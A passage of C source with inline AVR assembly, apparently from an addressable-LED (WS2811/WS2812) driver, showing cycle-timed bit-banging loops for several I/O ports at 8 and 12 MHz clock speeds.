defined(PORTC) || defined(PORTF)\r\n    if(port == &PORTB) {\r\n #endif // defined(PORTD/C/F)\r\n\r\n      // Same as above, just switched to PORTB and stripped of comments.\r\n      hi = PORTB |  pinMask;\r\n      lo = PORTB & ~pinMask;\r\n      n1 = lo;\r\n      if(b & 0x80) n1 = hi;\r\n\r\n      asm volatile(\r\n       \"headB:\"                   \"\\n\\t\"\r\n        \"out  %[port] , %[hi]\"    \"\\n\\t\"\r\n        \"mov  %[n2]   , %[lo]\"    \"\\n\\t\"\r\n        \"out  %[port] , %[n1]\"    \"\\n\\t\"\r\n        \"rjmp .+0\"                \"\\n\\t\"\r\n        \"sbrc %[byte] , 6\"        \"\\n\\t\"\r\n         \"mov %[n2]   , %[hi]\"    \"\\n\\t\"\r\n        \"out  %[port] , %[lo]\"    \"\\n\\t\"\r\n        \"rjmp .+0\"                \"\\n\\t\"\r\n        \"out  %[port] , %[hi]\"    \"\\n\\t\"\r\n        \"mov  %[n1]   , %[lo]\"    \"\\n\\t\"\r\n        \"out  %[port] , %[n2]\"    \"\\n\\t\"\r\n        \"rjmp .+0\"                \"\\n\\t\"\r\n        \"sbrc %[byte] , 5\"        \"\\n\\t\"\r\n         \"mov %[n1]   , %[hi]\"    \"\\n\\t\"\r\n        \"out  %[port] , %[lo]\"    \"\\n\\t\"\r\n        \"rjmp .+0\"                \"\\n\\t\"\r\n        \"out  %[port] , %[hi]\"    \"\\n\\t\"\r\n        \"mov  %[n2]   , %[lo]\"    \"\\n\\t\"\r\n        \"out  %[port] , %[n1]\"    \"\\n\\t\"\r\n        \"rjmp .+0\"                \"\\n\\t\"\r\n        \"sbrc %[byte] , 4\"        \"\\n\\t\"\r\n         \"mov %[n2]   , %[hi]\"    \"\\n\\t\"\r\n        \"out  %[port] , %[lo]\"    \"\\n\\t\"\r\n        \"rjmp .+0\"                \"\\n\\t\"\r\n        \"out  %[port] , %[hi]\"    \"\\n\\t\"\r\n        \"mov  %[n1]   , %[lo]\"    \"\\n\\t\"\r\n        \"out  %[port] , %[n2]\"    \"\\n\\t\"\r\n        \"rjmp .+0\"                \"\\n\\t\"\r\n        \"sbrc %[byte] , 3\"        \"\\n\\t\"\r\n         \"mov %[n1]   , %[hi]\"    \"\\n\\t\"\r\n        \"out  %[port] , %[lo]\"    \"\\n\\t\"\r\n        \"rjmp .+0\"                \"\\n\\t\"\r\n        \"out  %[port] , %[hi]\"    \"\\n\\t\"\r\n        \"mov  %[n2]   , %[lo]\"    \"\\n\\t\"\r\n        \"out  %[port] , %[n1]\"    \"\\n\\t\"\r\n        \"rjmp .+0\"                \"\\n\\t\"\r\n        \"sbrc %[byte] , 2\"        \"\\n\\t\"\r\n         \"mov %[n2]   , %[hi]\"    \"\\n\\t\"\r\n        \"out  %[port] , %[lo]\"    \"\\n\\t\"\r\n        \"rjmp .+0\"                \"\\n\\t\"\r\n        \"out  %[port] , %[hi]\"    \"\\n\\t\"\r\n        \"mov  %[n1]   , %[lo]\"    \"\\n\\t\"\r\n        \"out  %[port] , %[n2]\"    \"\\n\\t\"\r\n        \"rjmp .+0\"                \"\\n\\t\"\r\n        \"sbrc %[byte] , 1\"        \"\\n\\t\"\r\n         \"mov %[n1]   , %[hi]\"    \"\\n\\t\"\r\n        \"out  %[port] , %[lo]\"    \"\\n\\t\"\r\n        \"rjmp .+0\"                \"\\n\\t\"\r\n        \"out  %[port] , %[hi]\"    \"\\n\\t\"\r\n        \"mov  %[n2]   , %[lo]\"    \"\\n\\t\"\r\n        \"out  %[port] , %[n1]\"    \"\\n\\t\"\r\n        \"rjmp .+0\"                \"\\n\\t\"\r\n        \"sbrc %[byte] , 0\"        \"\\n\\t\"\r\n         \"mov %[n2]   , %[hi]\"    \"\\n\\t\"\r\n        \"out  %[port] , %[lo]\"    \"\\n\\t\"\r\n        \"sbiw %[count], 1\"        \"\\n\\t\"\r\n        \"out  %[port] , %[hi]\"    \"\\n\\t\"\r\n        \"mov  %[n1]   , %[lo]\"    \"\\n\\t\"\r\n        \"out  %[port] , %[n2]\"    \"\\n\\t\"\r\n        \"ld   %[byte] , %a[ptr]+\" \"\\n\\t\"\r\n        \"sbrc %[byte] , 7\"        \"\\n\\t\"\r\n         \"mov %[n1]   , %[hi]\"    \"\\n\\t\"\r\n        \"out  %[port] , %[lo]\"    \"\\n\\t\"\r\n        \"brne headB\"              \"\\n\"\r\n      : [byte] \"+r\" (b), [n1] \"+r\" (n1), [n2] \"+r\" (n2), [count] \"+w\" (i)\r\n      : [port] \"I\" (_SFR_IO_ADDR(PORTB)), [ptr] \"e\" (ptr), [hi] \"r\" (hi),\r\n        [lo] \"r\" (lo));\r\n\r\n #if defined(PORTD) || defined(PORTC) || defined(PORTF)\r\n    }\r\n #endif\r\n #if defined(PORTC) || defined(PORTF)\r\n    else\r\n #endif // defined(PORTC/F)\r\n#endif // defined(PORTB)\r\n\r\n    // PORTC OUTPUT ----------------------------------------------------\r\n\r\n#if defined(PORTC)\r\n #if defined(PORTD) || defined(PORTB) || defined(PORTF)\r\n    if(port == &PORTC) {\r\n #endif // defined(PORTD/B/F)\r\n\r\n      // Same as above, just switched to PORTC and stripped of comments.\r\n      hi = PORTC |  pinMask;\r\n      lo = PORTC & ~pinMask;\r\n      n1 = lo;\r\n      if(b & 0x80) n1 = hi;\r\n\r\n      asm volatile(\r\n       \"headC:\"                   \"\\n\\t\"\r\n        \"out  %[port] , %[hi]\"    \"\\n\\t\"\r\n        \"mov  %[n2]   , %[lo]\"    \"\\n\\t\"\r\n        \"out  %[port] , %[n1]\"    \"\\n\\t\"\r\n        \"rjmp .+0\"                \"\\n\\t\"\r\n        \"sbrc %[byte] , 6\"        \"\\n\\t\"\r\n         \"mov %[n2]   , %[hi]\"    \"\\n\\t\"\r\n        \"out  %[port] , %[lo]\"    \"\\n\\t\"\r\n        \"rjmp .+0\"                \"\\n\\t\"\r\n        \"out  %[port] , %[hi]\"    \"\\n\\t\"\r\n        \"mov  %[n1]   , %[lo]\"    \"\\n\\t\"\r\n        \"out  %[port] , %[n2]\"    \"\\n\\t\"\r\n        \"rjmp .+0\"                \"\\n\\t\"\r\n        \"sbrc %[byte] , 5\"        \"\\n\\t\"\r\n         \"mov %[n1]   , %[hi]\"    \"\\n\\t\"\r\n        \"out  %[port] , %[lo]\"    \"\\n\\t\"\r\n        \"rjmp .+0\"                \"\\n\\t\"\r\n        \"out  %[port] , %[hi]\"    \"\\n\\t\"\r\n        \"mov  %[n2]   , %[lo]\"    \"\\n\\t\"\r\n        \"out  %[port] , %[n1]\"    \"\\n\\t\"\r\n        \"rjmp .+0\"                \"\\n\\t\"\r\n        \"sbrc %[byte] , 4\"        \"\\n\\t\"\r\n         \"mov %[n2]   , %[hi]\"    \"\\n\\t\"\r\n        \"out  %[port] , %[lo]\"    \"\\n\\t\"\r\n        \"rjmp .+0\"                \"\\n\\t\"\r\n        \"out  %[port] , %[hi]\"    \"\\n\\t\"\r\n        \"mov  %[n1]   , %[lo]\"    \"\\n\\t\"\r\n        \"out  %[port] , %[n2]\"    \"\\n\\t\"\r\n        \"rjmp .+0\"                \"\\n\\t\"\r\n        \"sbrc %[byte] , 3\"        \"\\n\\t\"\r\n         \"mov %[n1]   , %[hi]\"    \"\\n\\t\"\r\n        \"out  %[port] , %[lo]\"    \"\\n\\t\"\r\n        \"rjmp .+0\"                \"\\n\\t\"\r\n        \"out  %[port] , %[hi]\"    \"\\n\\t\"\r\n        \"mov  %[n2]   , %[lo]\"    \"\\n\\t\"\r\n        \"out  %[port] , %[n1]\"    \"\\n\\t\"\r\n        \"rjmp .+0\"                \"\\n\\t\"\r\n        \"sbrc %[byte] , 2\"        \"\\n\\t\"\r\n         \"mov %[n2]   , %[hi]\"    \"\\n\\t\"\r\n        \"out  %[port] , %[lo]\"    \"\\n\\t\"\r\n        \"rjmp .+0\"                \"\\n\\t\"\r\n        \"out  %[port] , %[hi]\"    \"\\n\\t\"\r\n        \"mov  %[n1]   , %[lo]\"    \"\\n\\t\"\r\n        \"out  %[port] , %[n2]\"    \"\\n\\t\"\r\n        \"rjmp .+0\"                \"\\n\\t\"\r\n        \"sbrc %[byte] , 1\"        \"\\n\\t\"\r\n         \"mov %[n1]   , %[hi]\"    \"\\n\\t\"\r\n        \"out  %[port] , %[lo]\"    \"\\n\\t\"\r\n        \"rjmp .+0\"                \"\\n\\t\"\r\n        \"out  %[port] , %[hi]\"    \"\\n\\t\"\r\n        \"mov  %[n2]   , %[lo]\"    \"\\n\\t\"\r\n        \"out  %[port] , %[n1]\"    \"\\n\\t\"\r\n        \"rjmp .+0\"                \"\\n\\t\"\r\n        \"sbrc %[byte] , 0\"        \"\\n\\t\"\r\n         \"mov %[n2]   , %[hi]\"    \"\\n\\t\"\r\n        \"out  %[port] , %[lo]\"    \"\\n\\t\"\r\n        \"sbiw %[count], 1\"        \"\\n\\t\"\r\n        \"out  %[port] , %[hi]\"    \"\\n\\t\"\r\n        \"mov  %[n1]   , %[lo]\"    \"\\n\\t\"\r\n        \"out  %[port] , %[n2]\"    \"\\n\\t\"\r\n        \"ld   %[byte] , %a[ptr]+\" \"\\n\\t\"\r\n        \"sbrc %[byte] , 7\"        \"\\n\\t\"\r\n         \"mov %[n1]   , %[hi]\"    \"\\n\\t\"\r\n        \"out  %[port] , %[lo]\"    \"\\n\\t\"\r\n        \"brne headC\"              \"\\n\"\r\n      : [byte] \"+r\" (b), [n1] \"+r\" (n1), [n2] \"+r\" (n2), [count] \"+w\" (i)\r\n      : [port] \"I\" (_SFR_IO_ADDR(PORTC)), [ptr] \"e\" (ptr), [hi] \"r\" (hi),\r\n        [lo] \"r\" (lo));\r\n\r\n #if defined(PORTD) || defined(PORTB) || defined(PORTF)\r\n    }\r\n #endif // defined(PORTD/B/F)\r\n #if defined(PORTF)\r\n    else\r\n #endif\r\n#endif // defined(PORTC)\r\n\r\n    // PORTF OUTPUT ----------------------------------------------------\r\n\r\n#if defined(PORTF)\r\n #if defined(PORTD) || defined(PORTB) || defined(PORTC)\r\n    if(port == &PORTF) {\r\n #endif // defined(PORTD/B/C)\r\n\r\n      hi = PORTF |  pinMask;\r\n      lo = PORTF & ~pinMask;\r\n      n1 = lo;\r\n      if(b & 0x80) n1 = hi;\r\n\r\n      asm volatile(\r\n       \"headF:\"                   \"\\n\\t\"\r\n        \"out  %[port] , %[hi]\"    \"\\n\\t\"\r\n        \"mov  %[n2]   , %[lo]\"    \"\\n\\t\"\r\n        \"out  %[port] , %[n1]\"    \"\\n\\t\"\r\n        \"rjmp .+0\"                \"\\n\\t\"\r\n        \"sbrc %[byte] , 6\"        \"\\n\\t\"\r\n         \"mov %[n2]   , %[hi]\"    \"\\n\\t\"\r\n        \"out  %[port] , %[lo]\"    \"\\n\\t\"\r\n        \"rjmp .+0\"                \"\\n\\t\"\r\n        \"out  %[port] , %[hi]\"    \"\\n\\t\"\r\n        \"mov  %[n1]   , %[lo]\"    \"\\n\\t\"\r\n        \"out  %[port] , %[n2]\"    \"\\n\\t\"\r\n        \"rjmp .+0\"                \"\\n\\t\"\r\n        \"sbrc %[byte] , 5\"        \"\\n\\t\"\r\n         \"mov %[n1]   , %[hi]\"    \"\\n\\t\"\r\n        \"out  %[port] , %[lo]\"    \"\\n\\t\"\r\n        \"rjmp .+0\"                \"\\n\\t\"\r\n        \"out  %[port] , %[hi]\"    \"\\n\\t\"\r\n        \"mov  %[n2]   , %[lo]\"    \"\\n\\t\"\r\n        \"out  %[port] , %[n1]\"    \"\\n\\t\"\r\n        \"rjmp .+0\"                \"\\n\\t\"\r\n        \"sbrc %[byte] , 4\"        \"\\n\\t\"\r\n         \"mov %[n2]   , %[hi]\"    \"\\n\\t\"\r\n        \"out  %[port] , %[lo]\"    \"\\n\\t\"\r\n        \"rjmp .+0\"                \"\\n\\t\"\r\n        \"out  %[port] , %[hi]\"    \"\\n\\t\"\r\n        \"mov  %[n1]   , %[lo]\"    \"\\n\\t\"\r\n        \"out  %[port] , %[n2]\"    \"\\n\\t\"\r\n        \"rjmp .+0\"                \"\\n\\t\"\r\n        \"sbrc %[byte] , 3\"        \"\\n\\t\"\r\n         \"mov %[n1]   , %[hi]\"    \"\\n\\t\"\r\n        \"out  %[port] , %[lo]\"    \"\\n\\t\"\r\n        \"rjmp .+0\"                \"\\n\\t\"\r\n        \"out  %[port] , %[hi]\"    \"\\n\\t\"\r\n        \"mov  %[n2]   , %[lo]\"    \"\\n\\t\"\r\n        \"out  %[port] , %[n1]\"    \"\\n\\t\"\r\n        \"rjmp .+0\"                \"\\n\\t\"\r\n        \"sbrc %[byte] , 2\"        \"\\n\\t\"\r\n         \"mov %[n2]   , %[hi]\"    \"\\n\\t\"\r\n        \"out  %[port] , %[lo]\"    \"\\n\\t\"\r\n        \"rjmp .+0\"                \"\\n\\t\"\r\n        \"out  %[port] , %[hi]\"    \"\\n\\t\"\r\n        \"mov  %[n1]   , %[lo]\"    \"\\n\\t\"\r\n        \"out  %[port] , %[n2]\"    \"\\n\\t\"\r\n        \"rjmp .+0\"                \"\\n\\t\"\r\n        \"sbrc %[byte] , 1\"        \"\\n\\t\"\r\n         \"mov %[n1]   , %[hi]\"    \"\\n\\t\"\r\n        \"out  %[port] , %[lo]\"    \"\\n\\t\"\r\n        \"rjmp .+0\"                \"\\n\\t\"\r\n        \"out  %[port] , %[hi]\"    \"\\n\\t\"\r\n        \"mov  %[n2]   , %[lo]\"    \"\\n\\t\"\r\n        \"out  %[port] , %[n1]\"    \"\\n\\t\"\r\n        \"rjmp .+0\"                \"\\n\\t\"\r\n        \"sbrc %[byte] , 0\"        \"\\n\\t\"\r\n         \"mov %[n2]   , %[hi]\"    \"\\n\\t\"\r\n        \"out  %[port] , %[lo]\"    \"\\n\\t\"\r\n        \"sbiw %[count], 1\"        \"\\n\\t\"\r\n        \"out  %[port] , %[hi]\"    \"\\n\\t\"\r\n        \"mov  %[n1]   , %[lo]\"    \"\\n\\t\"\r\n        \"out  %[port] , %[n2]\"    \"\\n\\t\"\r\n        \"ld   %[byte] , %a[ptr]+\" \"\\n\\t\"\r\n        \"sbrc %[byte] , 7\"        \"\\n\\t\"\r\n         \"mov %[n1]   , %[hi]\"    \"\\n\\t\"\r\n        \"out  %[port] , %[lo]\"    \"\\n\\t\"\r\n        \"brne headF\"              \"\\n\"\r\n      : [byte] \"+r\" (b), [n1] \"+r\" (n1), [n2] \"+r\" (n2), [count] \"+w\" (i)\r\n      : [port] \"I\" (_SFR_IO_ADDR(PORTF)), [ptr] \"e\" (ptr), [hi] \"r\" (hi),\r\n        [lo] \"r\" (lo));\r\n\r\n #if defined(PORTD) || defined(PORTB) || defined(PORTC)\r\n    }\r\n #endif // defined(PORTD/B/C)\r\n#endif // defined(PORTF)\r\n\r\n#if defined(NEO_KHZ400)\r\n  } else { // end 800 KHz, do 400 KHz\r\n\r\n    // Timing is more relaxed; unrolling the inner loop for each bit is\r\n    // not necessary. Still using the peculiar RJMPs as 2X NOPs, not out\r\n    // of need but just to trim the code size down a little.\r\n    // This 400-KHz-datastream-on-8-MHz-CPU code is not quite identical\r\n    // to the 800-on-16 code later -- the hi/lo timing between WS2811 and\r\n    // WS2812 is not simply a 2:1 scale!\r\n\r\n    // 20 inst. clocks per bit: HHHHxxxxxxLLLLLLLLLL\r\n    // ST instructions:         ^   ^     ^          (T=0,4,10)\r\n\r\n    volatile uint8_t next, bit;\r\n\r\n    hi   = *port |  pinMask;\r\n    lo   = *port & ~pinMask;\r\n    next = lo;\r\n    bit  = 8;\r\n\r\n    asm volatile(\r\n     \"head20:\"                  \"\\n\\t\" // Clk  Pseudocode    (T =  0)\r\n      \"st   %a[port], %[hi]\"    \"\\n\\t\" // 2    PORT = hi     (T =  2)\r\n      \"sbrc %[byte] , 7\"        \"\\n\\t\" // 1-2  if(b & 128)\r\n       \"mov  %[next], %[hi]\"    \"\\n\\t\" // 0-1   next = hi    (T =  4)\r\n      \"st   %a[port], %[next]\"  \"\\n\\t\" // 2    PORT = next   (T =  6)\r\n      \"mov  %[next] , %[lo]\"    \"\\n\\t\" // 1    next = lo     (T =  7)\r\n      \"dec  %[bit]\"             \"\\n\\t\" // 1    bit--         (T =  8)\r\n      \"breq nextbyte20\"         \"\\n\\t\" // 1-2  if(bit == 0)\r\n      \"rol  %[byte]\"            \"\\n\\t\" // 1    b <<= 1       (T = 10)\r\n      \"st   %a[port], %[lo]\"    \"\\n\\t\" // 2    PORT = lo     (T = 12)\r\n      \"rjmp .+0\"                \"\\n\\t\" // 2    nop nop       (T = 14)\r\n      \"rjmp .+0\"                \"\\n\\t\" // 2    nop nop       (T = 16)\r\n      \"rjmp .+0\"                \"\\n\\t\" // 2    nop nop       (T = 18)\r\n      \"rjmp head20\"             \"\\n\\t\" // 2    -> head20 (next bit out)\r\n     \"nextbyte20:\"              \"\\n\\t\" //                    (T = 10)\r\n      \"st   %a[port], %[lo]\"    \"\\n\\t\" // 2    PORT = lo     (T = 12)\r\n      \"nop\"                     \"\\n\\t\" // 1    nop           (T = 13)\r\n      \"ldi  %[bit]  , 8\"        \"\\n\\t\" // 1    bit = 8       (T = 14)\r\n      \"ld   %[byte] , %a[ptr]+\" \"\\n\\t\" // 2    b = *ptr++    (T = 16)\r\n      \"sbiw %[count], 1\"        \"\\n\\t\" // 2    i--           (T = 18)\r\n      \"brne head20\"             \"\\n\"   // 2    if(i != 0) -> (next byte)\r\n      : [port]  \"+e\" (port),\r\n        [byte]  \"+r\" (b),\r\n        [bit]   \"+r\" (bit),\r\n        [next]  \"+r\" (next),\r\n        [count] \"+w\" (i)\r\n      : [hi]    \"r\" (hi),\r\n        [lo]    \"r\" (lo),\r\n        [ptr]   \"e\" (ptr));\r\n  }\r\n#endif // NEO_KHZ400\r\n\r\n// 12 MHz(ish) AVR --------------------------------------------------------\r\n#elif (F_CPU >= 11100000UL) && (F_CPU <= 14300000UL)\r\n\r\n#if defined(NEO_KHZ400) // 800 KHz check needed only if 400 KHz support enabled\r\n  if(is800KHz) {\r\n#endif\r\n\r\n    // In the 12 MHz case, an optimized 800 KHz datastream (no dead time\r\n    // between bytes) requires a PORT-specific loop similar to the 8 MHz\r\n    // code (but a little more relaxed in this case).\r\n\r\n    // 15 instruction clocks per bit: HHHHxxxxxxLLLLL\r\n    // OUT instructions:              ^   ^     ^     (T=0,4,10)\r\n\r\n    volatile uint8_t next;\r\n\r\n    // PORTD OUTPUT ----------------------------------------------------\r\n\r\n#if defined(PORTD)\r\n #if defined(PORTB) || defined(PORTC) || defined(PORTF)\r\n    if(port == &PORTD) {\r\n #endif // defined(PORTB/C/F)\r\n\r\n      hi   = PORTD |  pinMask;\r\n      lo   = PORTD & ~pinMask;\r\n      next = lo;\r\n      if(b & 0x80) next = hi;\r\n\r\n      // Don't \"optimize\" the OUT calls into the bitTime subroutine;\r\n      // we're exploiting the RCALL and RET as 3- and 4-cycle NOPs!\r\n      asm volatile(\r\n       \"headD:\"                   \"\\n\\t\" //        (T =  0)\r\n        \"out   %[port], %[hi]\"    \"\\n\\t\" //        (T =  1)\r\n        \"rcall bitTimeD\"          \"\\n\\t\" // Bit 7  (T = 15)\r\n        \"out   %[port], %[hi]\"    \"\\n\\t\"\r\n        \"rcall bitTimeD\"          \"\\n\\t\" // Bit 6\r\n        \"out   %[port], %[hi]\"    \"\\n\\t\"\r\n        \"rcall bitTimeD\"          \"\\n\\t\" // Bit 5\r\n        \"out   %[port], %[hi]\"    \"\\n\\t\"\r\n        \"rcall bitTimeD\"          \"\\n\\t\" // Bit 4\r\n        \"out   %[port], %[hi]\"    \"\\n\\t\"\r\n        \"rcall bitTimeD\"          \"\\n\\t\" // Bit 3\r\n        \"out   %[port], %[hi]\"    \"\\n\\t\"\r\n        \"rcall bitTimeD\"          \"\\n\\t\" // Bit 2\r\n        \"out   %[port], %[hi]\"    \"\\n\\t\"\r\n        \"rcall bitTimeD\"          \"\\n\\t\" // Bit 1\r\n        // Bit 0:\r\n        \"out  %[port] , %[hi]\"    \"\\n\\t\" // 1    PORT = hi    (T =  1)\r\n        \"rjmp .+0\"                \"\\n\\t\" // 2    nop nop      (T =  3)\r\n        \"ld   %[byte] , %a[ptr]+\" \"\\n\\t\" // 2    b = *ptr++   (T =  5)\r\n        \"out  %[port] , %[next]\"  \"\\n\\t\" // 1    PORT = next  (T =  6)\r\n        \"mov  %[next] , %[lo]\"    \"\\n\\t\" // 1    next = lo    (T =  7)\r\n        \"sbrc %[byte] , 7\"        \"\\n\\t\" // 1-2  if(b & 0x80) (T =  8)\r\n         \"mov %[next] , %[hi]\"    \"\\n\\t\" // 0-1    next = hi  (T =  9)\r\n        \"nop\"                     \"\\n\\t\" // 1                 (T = 10)\r\n        \"out  %[port] , %[lo]\"    \"\\n\\t\" // 1    PORT = lo    (T = 11)\r\n        \"sbiw %[count], 1\"        \"\\n\\t\" // 2    i--          (T = 13)\r\n        \"brne headD\"              \"\\n\\t\" // 2    if(i != 0) -> (next byte)\r\n         \"rjmp doneD\"             \"\\n\\t\"\r\n        \"bitTimeD:\"               \"\\n\\t\" //      nop nop nop     (T =  4)\r\n         \"out  %[port], %[next]\"  \"\\n\\t\" // 1    PORT = next     (T =  5)\r\n         \"mov  %[next], %[lo]\"    \"\\n\\t\" // 1    next = lo       (T =  6)\r\n         \"rol  %[byte]\"           \"\\n\\t\" // 1    b <<= 1         (T =  7)\r\n         \"sbrc %[byte], 7\"        \"\\n\\t\" // 1-2  if(b & 0x80)    (T =  8)\r\n          \"mov %[next], %[hi]\"    \"\\n\\t\" // 0-1   next = hi      (T =  9)\r\n         \"nop\"                    \"\\n\\t\" // 1                    (T = 10)\r\n         \"out  %[port], %[lo]\"    \"\\n\\t\" // 1    PORT = lo       (T = 11)\r\n         \"ret\"                    \"\\n\\t\" // 4    nop nop nop nop (T = 15)\r\n         \"doneD:\"                 \"\\n\"\r\n        : [byte]  \"+r\" (b),\r\n          [next]  \"+r\" (next),\r\n          [count] \"+w\" (i)\r\n        : [port]   \"I\" (_SFR_IO_ADDR(PORTD)),\r\n          [ptr]    \"e\" (ptr),\r\n          [hi]     \"r\" (hi),\r\n          [lo]     \"r\" (lo));\r\n\r\n #if defined(PORTB) || defined(PORTC) || defined(PORTF)\r\n    } else // other PORT(s)\r\n #endif // defined(PORTB/C/F)\r\n#endif // defined(PORTD)\r\n\r\n    // PORTB OUTPUT ----------------------------------------------------\r\n\r\n#if defined(PORTB)\r\n #if defined(PORTD) || defined(PORTC) || defined(PORTF)\r\n    if(port == &PORTB) {\r\n #endif // defined(PORTD/C/F)\r\n\r\n      hi   = PORTB |  pinMask;\r\n      lo   = PORTB & ~pinMask;\r\n      next = lo;\r\n      if(b & 0x80) next = hi;\r\n\r\n      // Same as above, just set for PORTB & stripped of comments\r\n      asm volatile(\r\n       \"headB:\"                   \"\\n\\t\"\r\n        \"out   %[port], %[hi]\"    \"\\n\\t\"\r\n        \"rcall bitTimeB\"          \"\\n\\t\"\r\n        \"out   %[port], %[hi]\"    \"\\n\\t\"\r\n        \"rcall bitTimeB\"          \"\\n\\t\"\r\n        \"out   %[port], %[hi]\"    \"\\n\\t\"\r\n        \"rcall bitTimeB\"          \"\\n\\t\"\r\n        \"out   %[port], %[hi]\"    \"\\n\\t\"\r\n        \"rcall bitTimeB\"          \"\\n\\t\"\r\n        \"out   %[port], %[hi]\"    \"\\n\\t\"\r\n        \"rcall bitTimeB\"          \"\\n\\t\"\r\n        \"out   %[port], %[hi]\"    \"\\n\\t\"\r\n        \"rcall bitTimeB\"          \"\\n\\t\"\r\n        \"out   %[port], %[hi]\"    \"\\n\\t\"\r\n        \"rcall bitTimeB\"          \"\\n\\t\"\r\n        \"out  %[port] , %[hi]\"    \"\\n\\t\"\r\n        \"rjmp .+0\"                \"\\n\\t\"\r\n        \"ld   %[byte] , %a[ptr]+\" \"\\n\\t\"\r\n        \"out  %[port] , %[next]\"  \"\\n\\t\"\r\n        \"mov  %[next] , %[lo]\"    \"\\n\\t\"\r\n        \"sbrc %[byte] , 7\"        \"\\n\\t\"\r\n         \"mov %[next] , %[hi]\"    \"\\n\\t\"\r\n        \"nop\"                     \"\\n\\t\"\r\n        \"out  %[port] , %[lo]\"    \"\\n\\t\"\r\n        \"sbiw %[count], 1\"        \"\\n\\t\"\r\n        \"brne headB\"              \"\\n\\t\"\r\n         \"rjmp doneB\"             \"\\n\\t\"\r\n        \"bitTimeB:\"               \"\\n\\t\"\r\n         \"out  %[port], %[next]\"  \"\\n\\t\"\r\n         \"mov  %[next], %[lo]\"    \"\\n\\t\"\r\n         \"rol  %[byte]\"           \"\\n\\t\"\r\n         \"sbrc %[byte], 7\"        \"\\n\\t\"\r\n          \"mov %[next], %[hi]\"    \"\\n\\t\"\r\n         \"nop\"                    \"\\n\\t\"\r\n         \"out  %[port], %[lo]\"    \"\\n\\t\"\r\n         \"ret\"                    \"\\n\\t\"\r\n         \"doneB:\"                 \"\\n\"\r\n        : [byte] \"+r\" (b), [next] \"+r\" (next), [count] \"+w\" (i)\r\n        : [port] \"I\" (_SFR_IO_ADDR(PORTB)), [ptr] \"e\" (ptr), [hi] \"r\" (hi),\r\n          [lo] \"r\" (lo));\r\n\r\n #if defined(PORTD) || defined(PORTC) || defined(PORTF)\r\n    }\r\n #endif\r\n #if defined(PORTC) || defined(PORTF)\r\n    else\r\n #endif // defined(PORTC/F)\r\n#endif // defined(PORTB)\r\n\r\n    // PORTC OUTPUT ----------------------------------------------------\r\n\r\n#if defined(PORTC)\r\n #if defined(PORTD) || defined(PORTB) || defined(PORTF)\r\n    if(port == &PORTC) {\r\n #endif // defined(PORTD/B/F)\r\n\r\n      hi   = PORTC |  pinMask;\r\n      lo   = PORTC & ~pinMask;\r\n      next = lo;\r\n      if(b & 0x80) next = hi;\r\n\r\n      // Same as above, just set for PORTC & stripped of comments\r\n      asm volatile(\r\n       \"headC:\"                   \"\\n\\t\"\r\n        \"out   %[port], %[hi]\"    \"\\n\\t\"\r\n        \"rcall bitTimeC\"          \"\\n\\t\"\r\n        \"out   %[port], %[hi]\"    \"\\n\\t\"\r\n        \"rcall bitTimeC\"          \"\\n\\t\"\r\n        \"out   %[port], %[hi]\"    \"\\n\\t\"\r\n        \"rcall bitTimeC\"          \"\\n\\t\"\r\n        \"out   %[port], %[hi]\"    \"\\n\\t\"\r\n        \"rcall bitTimeC\"          \"\\n\\t\"\r\n        \"out   %[port], %[hi]\"    \"\\n\\t\"\r\n        \"rcall bitTimeC\"          \"\\n\\t\"\r\n        \"out   %[port], %[hi]\"    \"\\n\\t\"\r\n        \"rcall bitTimeC\"          \"\\n\\t\"\r\n        \"out   %[port], %[hi]\"    \"\\n\\t\"\r\n        \"rcall bitTimeC\"          \"\\n\\t\"\r\n        \"out  %[port] , %[hi]\"    \"\\n\\t\"\r\n        \"rjmp .+0\"                \"\\n\\t\"\r\n        \"ld   %[byte] , %a[ptr]+\" \"\\n\\t\"\r\n        \"out  %[port] , %[next]\"  \"\\n\\t\"\r\n        \"mov  %[next] , %[lo]\"    \"\\n\\t\"\r\n        \"sbrc %[byte] , 7\"        \"\\n\\t\"\r\n         \"mov %[next] , %[hi]\"    \"\\n\\t\"\r\n        \"nop\"                     \"\\n\\t\"\r\n        \"out  %[port] , %[lo]\"    \"\\n\\t\"\r\n        \"sbiw %[count], 1\"        \"\\n\\t\"\r\n        \"brne headC\"              \"\\n\\t\"\r\n         \"rjmp doneC\"             \"\\n\\t\"\r\n        \"bitTimeC:\"               \"\\n\\t\"\r\n         \"out  %[port], %[next]\"  \"\\n\\t\"\r\n         \"mov  %[next], %[lo]\"    \"\\n\\t\"\r\n         \"rol  %[byte]\"           \"\\n\\t\"\r\n         \"sbrc %[byte], 7\"        \"\\n\\t\"\r\n          \"mov %[next], %[hi]\"    \"\\n\\t\"\r\n         \"nop\"                    \"\\n\\t\"\r\n         \"out  %[port], %[lo]\"    \"\\n\\t\"\r\n         \"ret\"                    \"\\n\\t\"\r\n         \"doneC:\"                 \"\\n\"\r\n        : [byte] \"+r\" (b), [next] \"+r\" (next), [count] \"+w\" (i)\r\n        : [port] \"I\" (_SFR_IO_ADDR(PORTC)), [ptr] \"e\" (ptr), [hi] \"r\" (hi),\r\n          [lo] \"r\" (lo));\r\n\r\n #if defined(PORTD) || defined(PORTB) || defined(PORTF)\r\n    }\r\n #endif // defined(PORTD/B/F)\r\n #if defined(PORTF)\r\n    else\r\n #endif\r\n#endif // defined(PORTC)\r\n\r\n    // PORTF OUTPUT ----------------------------------------------------\r\n\r\n#if defined(PORTF)\r\n #if defined(PORTD) || defined(PORTB) || defined(PORTC)\r\n    if(port == &PORTF) {\r\n #endif // defined(PORTD/B/C)\r\n\r\n      hi   = PORTF |  pinMask;\r\n      lo   = PORTF & ~pinMask;\r\n      next = lo;\r\n      if(b & 0x80) next = hi;\r\n\r\n      // Same as above, just set for PORTF & stripped of comments\r\n      asm volatile(\r\n       \"headF:\"                   \"\\n\\t\"\r\n        \"out   %[port], %[hi]\"    \"\\n\\t\"\r\n        \"rcall bitTimeC\"          \"\\n\\t\"\r\n        \"out   %[port], %[hi]\"    \"\\n\\t\"\r\n        \"rcall bitTimeC\"          \"\\n\\t\"\r\n        \"out   %[port], %[hi]\"    \"\\n\\t\"\r\n        \"rcall bitTimeC\"          \"\\n\\t\"\r\n        \"out   %[port], %[hi]\"    \"\\n\\t\"\r\n        \"rcall bitTimeC\"          \"\\n\\t\"\r\n        \"out   %[port], %[hi]\"    \"\\n\\t\"\r\n        \"rcall bitTimeC\"          \"\\n\\t\"\r\n        \"out   %[port], %[hi]\"    \"\\n\\t\"\r\n        \"rcall bitTimeC\"          \"\\n\\t\"\r\n        \"out   %[port], %[hi]\"    \"\\n\\t\"\r\n        \"rcall 